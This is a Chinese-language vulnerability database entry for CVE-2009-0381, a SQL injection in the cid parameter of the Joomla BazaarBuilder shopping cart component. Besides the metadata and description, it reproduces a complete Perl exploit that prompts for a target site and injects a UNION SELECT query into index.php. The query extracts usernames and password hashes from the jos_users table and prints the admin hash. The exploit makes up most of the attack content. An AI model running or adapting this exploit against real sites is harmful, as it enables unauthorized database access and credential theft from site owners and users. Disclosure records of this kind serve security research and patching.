BazaarBuilder Ecommerce Shopping Cart组件cid参数 SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117273 漏洞类型 SQL注入
发布时间 2009-01-21 更新时间 2009-02-02
CVE编号 CVE-2009-0381 CNNVD-ID CNNVD-200902-006
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7840
https://cxsecurity.com/issue/WLB-2009020080
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-006
|漏洞详情
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!BazaarBuilder组件的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞非授权操作数据库。BazaarBuilder组件没有充分检查过滤用户请求中的cid参数数据,攻击者可以在数据中插入精心构造的数据从而非授权操纵数据库。
|漏洞EXP
#!/usr/bin/perl -w
#Joomla component: BazaarBuilder Shopping Cart Software v.5.0 sql injection#
########################################
#[+] Author : XaDoS
#[+] Contact me: www.securitycode.it // xados [at] hotmail [dot] it
#[+] Greetz : Plucky - Str0ke - GsC - boom3rang - My girl ;-)
#[+] Module_Name: BazaarBuilder Ecommerce Shopping Cart Software v. 5.0
#[+] Script_Name: Joomla
#[+] Dork: find it XD
########################################
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|                  ---||> X:A:D:O:S <||---                    |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_prod <= Remote SQL Injection Vuln|\n\n";
print "\t\t| XaDoS ~ www.securitycode.it |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nEnter the url of vuln site[http://wwww.example.com]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,char(58),password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_prod&task=products&cid=-9999%20union%20all%20select%201,2,3,".$column_name.",5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from/**/".$table_name."+/*+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "||> Exploit done! ;-) <||\n\n";
}
else{print "\n||> Exploit failed! :-( <||\n";
}

# milw0rm.com [2009-01-21]
|参考资料

来源:XF
名称:bazaarbuilder-index-sql-injection(48141)
链接:http://xforce.iss.net/xforce/xfdb/48141
来源:BID
名称:33380
链接:http://www.securityfocus.com/bid/33380
来源:MILW0RM
名称:7840
链接:http://www.milw0rm.com/exploits/7840
来源:SECUNIA
名称:33612
链接:http://secunia.com/advisories/33612